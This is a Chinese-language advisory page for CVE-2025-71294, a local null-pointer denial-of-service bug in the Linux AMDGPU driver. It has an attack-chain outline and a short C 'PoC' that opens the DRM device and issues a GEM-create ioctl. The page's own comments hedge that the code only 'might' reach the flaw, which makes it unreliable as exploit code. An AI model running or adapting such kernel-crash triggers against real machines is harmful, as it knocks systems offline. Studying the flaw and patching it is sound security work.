IPBUF安全漏洞报告
English
CVE-2025-71294 CVSS 5.5 中危

CVE-2025-71294 Linux内核AMDGPU驱动空指针拒绝服务漏洞

披露日期: 2026-05-06
来源: 416baaa9-dc9f-4396-8d5f-8c081fb06d67

漏洞信息

漏洞编号
CVE-2025-71294
漏洞类型
空指针引用
CVSS评分
5.5 中危
攻击向量
本地 (AV:L)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
Linux Kernel

相关标签

Linux内核AMDGPU空指针引用拒绝服务本地漏洞

漏洞概述

Linux内核drm/amdgpu驱动程序存在一处空指针引用安全漏洞,可能导致本地拒绝服务攻击。该问题的根本原因在于,当SDMA(系统直接内存访问)模块未被启用时,相关的buffer_funcs回调函数指针集未被正确初始化。然而,驱动代码在后续执行过程中未对指针有效性进行校验便尝试调用。本地具备低权限的攻击者可通过特定的GPU操作触发此空指针解引用,从而造成系统内核崩溃或服务不可用。该漏洞影响Linux内核的稳定性,官方已在最新提交中修复了此问题,用户应尽快升级系统内核以规避风险。

技术细节

该漏洞位于Linux内核的图形驱动子系统(DRM)的AMDGPU模块中。AMDGPU驱动负责管理AMD显卡的硬件资源,其中SDMA(System DMA)引擎用于处理显存与系统内存间的数据传输。漏洞产生的具体技术原因是:在初始化过程中,如果SDMA块未被启用(可能由硬件配置或驱动加载参数决定),结构体中的buffer_funcs函数指针集合将保持未初始化状态(即NULL)。然而,在驱动执行图形缓冲区管理或调度任务时,相关代码路径未增加对buffer_funcs是否为非空指针的判别逻辑,直接通过该指针调用回调函数。当本地低权限用户触发涉及该功能的系统调用或IOCTL操作时,内核将尝试访问NULL地址,导致页错误异常。由于发生错误时处于内核上下文,且未进行有效的异常捕获,这将导致内核崩溃(Kernel Panic),系统必须重启才能恢复,从而实现拒绝服务攻击。利用此漏洞不需要用户交互,仅需本地执行权限即可触发。

攻击链分析

STEP 1
1. 信息收集
攻击者确认目标系统使用Linux内核并加载了AMDGPU驱动。
STEP 2
2. 获取本地访问
攻击者在目标机器上获得低权限的用户访问权限(PR:L)。
STEP 3
3. 执行攻击代码
攻击者运行特制的程序,调用相关的DRM IOCTL,触发AMDGPU驱动中未初始化buffer_funcs的代码路径。
STEP 4
4. 系统崩溃
内核发生空指针解引用错误,导致Kernel Panic,系统重启或服务不可用(Availability Impact: High)。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
/* * PoC for CVE-2025-71294: AMDGPU NULL Pointer Dereference * This code attempts to trigger the crash by interacting with the amdgpu driver. * Compile: gcc -o poc_amdgpu poc_amdgpu.c -ldrm */ #include <fcntl.h> #include <stdio.h> #include <stdlib.h> #include <unistd.h> #include <sys/ioctl.h> #include <libdrm/amdgpu.h> #include <libdrm/drm.h> int main() { int fd = -1; drmVersionPtr version; // Attempt to open the AMD GPU device fd = open("/dev/dri/card0", O_RDWR); if (fd < 0) { perror("Failed to open /dev/dri/card0"); return 1; } version = drmGetVersion(fd); if (version) { printf("Driver: %s\n", version->name); if (strcmp(version->name, "amdgpu") == 0) { printf("Target driver detected.\n"); // Triggering the vulnerability requires specific internal states. // If SDMA is disabled, certain buffer operations may hit the NULL pointer. // Here we attempt a generic buffer operation which might traverse the vulnerable path. struct drm_amdgpu_gem_create create = {0}; create.bo_size = 4096; // This IOCTL might internally call buffer_funcs if SDMA is involved if (ioctl(fd, DRM_IOCTL_AMDGPU_GEM_CREATE, &create) != 0) { perror("Ioctl failed"); } else { printf("GEM created. If SDMA is disabled and kernel is vulnerable, crash may occur on usage.\n"); } } drmFreeVersion(version); } close(fd); return 0; }

影响范围

Linux Kernel (受SDMA块未启用影响的版本)

防御指南

临时缓解措施
建议立即更新Linux内核到最新稳定版本以修复此空指针引用漏洞。如果无法立即更新内核,可以通过限制本地用户权限或禁用AMDGPU驱动(如果不需要图形功能)来降低风险。管理员应参考参考链接中的Git提交(如276028fd9b60)获取详细的修复代码。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表